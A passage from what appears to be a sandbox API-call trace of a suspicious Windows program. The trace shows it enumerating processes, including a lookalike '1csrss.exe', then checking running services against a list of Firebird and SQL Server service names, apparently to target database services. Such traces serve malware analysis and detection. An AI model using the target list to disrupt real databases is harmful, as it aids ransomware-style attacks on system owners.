dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0290.364] lstrlenW (lpString="csrss.exe") returned 9 [0290.364] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0290.365] lstrlenW (lpString="wininit.exe") returned 11 [0290.365] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0290.366] lstrlenW (lpString="csrss.exe") returned 9 [0290.366] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0290.366] lstrlenW (lpString="winlogon.exe") returned 12 [0290.366] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0290.367] lstrlenW (lpString="services.exe") returned 12 [0290.367] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0290.368] lstrlenW (lpString="lsass.exe") returned 9 [0290.368] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0290.368] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0290.368] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0290.369] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0290.369] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.370] lstrlenW (lpString="svchost.exe") returned 11 [0290.370] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.370] lstrlenW (lpString="svchost.exe") returned 11 [0290.370] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0290.371] lstrlenW (lpString="dwm.exe") returned 7 [0290.371] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.372] lstrlenW (lpString="svchost.exe") returned 11 [0290.372] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.372] lstrlenW (lpString="svchost.exe") returned 11 [0290.373] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.373] lstrlenW (lpString="svchost.exe") returned 11 [0290.373] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.374] lstrlenW (lpString="svchost.exe") returned 11 [0290.374] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.375] lstrlenW (lpString="svchost.exe") returned 11 [0290.375] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.375] lstrlenW (lpString="svchost.exe") returned 11 [0290.375] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.376] lstrlenW (lpString="svchost.exe") returned 11 [0290.376] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.377] lstrlenW (lpString="svchost.exe") returned 11 [0290.377] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.377] lstrlenW (lpString="svchost.exe") returned 11 [0290.377] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.378] lstrlenW (lpString="svchost.exe") returned 11 [0290.378] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0290.379] lstrlenW (lpString="spoolsv.exe") returned 11 [0290.379] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0290.379] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0290.379] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0290.380] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0290.380] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0290.381] lstrlenW (lpString="Memory Compression") returned 18 [0290.381] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.381] lstrlenW (lpString="svchost.exe") returned 11 [0290.381] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0290.382] lstrlenW (lpString="audiodg.exe") returned 11 [0290.382] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0290.383] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0290.383] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0290.383] lstrlenW (lpString="sihost.exe") returned 10 [0290.383] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.384] lstrlenW (lpString="svchost.exe") returned 11 [0290.384] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0290.385] lstrlenW (lpString="taskhostw.exe") returned 13 [0290.385] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0290.385] lstrlenW (lpString="msoia.exe") returned 9 [0290.386] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0290.386] lstrlenW (lpString="explorer.exe") returned 12 [0290.386] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0290.387] lstrlenW (lpString="SearchUI.exe") returned 12 [0290.387] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0290.388] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0290.388] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0290.388] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0290.388] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0290.389] lstrlenW (lpString="1csrss.exe") returned 10 [0290.389] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.390] lstrlenW (lpString="svchost.exe") returned 11 [0290.390] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0290.390] CloseHandle (hObject=0x4c4) returned 1 [0290.390] Sleep (dwMilliseconds=0x1f4) [0290.926] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddc00 [0290.927] EnumServicesStatusExW (in: hSCManager=0x7ddc00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0290.927] GetLastError () returned 0xea [0290.927] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1d08) returned 0x466fff8 [0290.927] EnumServicesStatusExW (in: hSCManager=0x7ddc00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x466fff8, cbBufSize=0x1d08, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x466fff8, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0290.928] CloseServiceHandle (hSCObject=0x7ddc00) returned 1 [0290.928] lstrlenW (lpString="AppXSvc") returned 7 [0290.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0290.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0290.928] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0290.928] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0290.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0290.928] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0290.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0290.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0290.928] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0290.928] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0290.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0290.928] lstrlenW (lpString="Audiosrv") returned 8 [0290.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0290.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0290.928] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0290.928] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0290.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0290.929] lstrlenW (lpString="BFE") returned 3 [0290.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0290.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0290.929] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0290.929] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0290.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0290.929] lstrlenW (lpString="BITS") returned 4 [0290.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0290.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0290.929] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0290.929] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0290.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0290.929] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0290.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0290.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0290.929] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0290.929] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0290.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0290.929] lstrlenW (lpString="CDPSvc") returned 6 [0290.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0290.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0290.929] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0290.929] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0290.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0290.929] lstrlenW (lpString="ClickToRunSvc") returned 13 [0290.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0290.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0290.929] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0290.929] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0290.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0290.929] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0290.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0290.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0290.929] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0290.930] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0290.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0290.930] lstrlenW (lpString="CryptSvc") returned 8 [0290.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0290.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0290.930] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0290.930] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0290.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0290.930] lstrlenW (lpString="DcomLaunch") returned 10 [0290.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0290.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0290.930] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0290.930] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0290.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0290.930] lstrlenW (lpString="DeviceAssociationService") returned 24 [0290.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0290.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0290.930] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0290.930] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0290.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0290.930] lstrlenW (lpString="Dhcp") returned 4 [0290.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0290.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0290.930] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0290.930] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0290.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0290.930] lstrlenW (lpString="Dnscache") returned 8 [0290.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0290.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0290.930] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0290.930] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0290.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0290.930] lstrlenW (lpString="DoSvc") returned 5 [0290.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0290.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0290.931] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0290.931] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0290.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0290.931] lstrlenW (lpString="DPS") returned 3 [0290.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0290.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0290.931] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0290.931] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0290.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0290.931] lstrlenW (lpString="DusmSvc") returned 7 [0290.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0290.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0290.931] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0290.931] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0290.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0290.931] lstrlenW (lpString="EventLog") returned 8 [0290.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0290.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0290.931] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0290.931] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0290.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0290.931] lstrlenW (lpString="EventSystem") returned 11 [0290.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0290.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0290.931] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0290.931] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0290.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0290.931] lstrlenW (lpString="FontCache") returned 9 [0290.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0290.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0290.931] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0290.931] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0290.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0290.932] lstrlenW (lpString="gpsvc") returned 5 [0290.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0290.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0290.932] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0290.932] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0290.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0290.932] lstrlenW (lpString="iphlpsvc") returned 8 [0290.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0290.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0290.932] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0290.932] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0290.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0290.932] lstrlenW (lpString="KeyIso") returned 6 [0290.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0290.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0290.932] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0290.932] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0290.932] 